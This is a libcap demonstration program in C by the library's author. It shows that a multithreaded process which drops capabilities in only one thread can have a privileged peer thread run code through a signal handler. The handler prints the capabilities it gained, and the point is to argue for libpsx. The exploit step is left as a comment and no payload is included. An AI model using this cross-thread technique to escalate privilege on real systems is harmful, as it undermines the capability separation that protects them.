• Home
  • Line#
  • Scopes#
  • Navigate#
  • Raw
  • Download
1 /*
2  * Copyright (c) 2020 Andrew G Morgan <morgan@kernel.org>
3  *
4  * This program exploit demonstrates why libcap alone in a
5  * multithreaded C/C++ program is inherently vulnerable to privilege
6  * escalation.
7  *
8  * The code also serves as a demonstration of how linking with libpsx
9  * can eliminate this vulnerability by maintaining a process wide
10  * common security state.
11  *
12  * The basic idea (which is well known and why POSIX stipulates "posix
13  * semantics" for security relevant state at the abstraction of a
14  * process) is that, because of shared memory, if a single thread alone
15  * is vulnerable to code injection, then it can cause any other thread
16  * to execute arbitrary code. As such, if all but one thread drops
17  * privilege, privilege escalation is somewhat trivial.
18  */
19 #include <pthread.h>
20 #include <signal.h>
21 #include <stdio.h>
22 #include <stdlib.h>
23 #include <sys/capability.h>
24 #include <sys/types.h>
25 
26 /* thread coordination */
27 pthread_mutex_t mu;
28 pthread_cond_t cond;
29 int hits;
30 
31 /* evidence of highest privilege attained */
32 ssize_t greatest_len;
33 char *text;
34 
35 /*
36  * interrupt handler - potentially watching for an opportunity to
37  * perform an exploit when invoked as a privileged thread.
38  */
handler(int signum,siginfo_t * info,void * ignore)39 static void handler(int signum, siginfo_t *info, void *ignore) {
40     ssize_t length;
41     char *working;
42     pthread_mutex_lock(&mu);
43 
44     cap_t caps = cap_get_proc();
45     working = cap_to_text(caps, &length);
46     if (length > greatest_len) {
47 	/*
48 	 * This is where the exploit code might go.
49 	 */
50 	cap_free(text);
51 	text = working;
52 	greatest_len = length;
53     }
54     cap_free(caps);
55     hits++;
56 
57     pthread_cond_signal(&cond);
58     pthread_mutex_unlock(&mu);
59 
60 }
61 
62 /*
63  * privileged thread code (imagine it doing whatever needs privilege).
64  */
victim(void * args)65 static void *victim(void *args) {
66     pthread_mutex_lock(&mu);
67     hits = 1;
68     printf("started privileged thread\n");
69     pthread_cond_signal(&cond);
70     pthread_mutex_unlock(&mu);
71 
72     pthread_mutex_lock(&mu);
73     while (hits < 2) {
74 	pthread_cond_wait(&cond, &mu);
75     }
76     pthread_mutex_unlock(&mu);
77 
78     return NULL;
79 }
80 
main(int argc,char ** argv)81 int main(int argc, char **argv) {
82     pthread_t peer;
83     cap_t caps = cap_init();
84     struct sigaction sig_action;
85 
86     printf("program starting\n");
87     if (pthread_create(&peer, NULL, victim, NULL)) {
88 	perror("unable to start the victim thread");
89 	exit(1);
90     }
91 
92     /*
93      * Wait until the peer thread is fully up.
94      */
95     pthread_mutex_lock(&mu);
96     while (hits < 1) {
97 	pthread_cond_wait(&cond, &mu);
98     }
99     pthread_mutex_unlock(&mu);
100 
101     printf("dropping privilege from main process thread\n");
102 
103     if (cap_set_proc(caps)) {
104 	perror("unable to drop capabilities from main process thread");
105 	exit(1);
106     }
107     cap_free(caps);
108 
109     /* confirm the low privilege of the process' main thread */
110 
111     caps = cap_get_proc();
112     text = cap_to_text(caps, &greatest_len);
113     cap_free(caps);
114 
115     printf("no privilege in main process thread: len:%ld, caps:\"%s\"\n",
116 	   greatest_len, text);
117     if (greatest_len != 1) {
118 	printf("failed to lower privilege as expected\n");
119 	exit(1);
120     }
121 
122     /*
123      * So, we have confirmed that this running thread has no
124      * privilege. From this thread we setup an interrupt handler and
125      * then trigger it on the privileged peer thread.
126      */
127 
128     sig_action.sa_sigaction = &handler;
129     sigemptyset(&sig_action.sa_mask);
130     sig_action.sa_flags = SA_SIGINFO | SA_RESTART;;
131     sigaction(SIGRTMIN, &sig_action, NULL);
132 
133     pthread_kill(peer, SIGRTMIN);
134 
135     /*
136      * Wait for the thread to exit.
137      */
138     pthread_join(peer, NULL);
139 
140     /*
141      * Let's see how we did with the exploit.
142      */
143 
144     printf("greatest privilege in main process thread: len:%ld, caps:\"%s\"\n",
145 	   greatest_len, text);
146 
147     cap_free(text);
148     if (greatest_len != 1) {
149 	printf("exploit succeeded\n");
150 	exit(1);
151     } else {
152 	printf("exploit failed\n");
153     }
154 }
155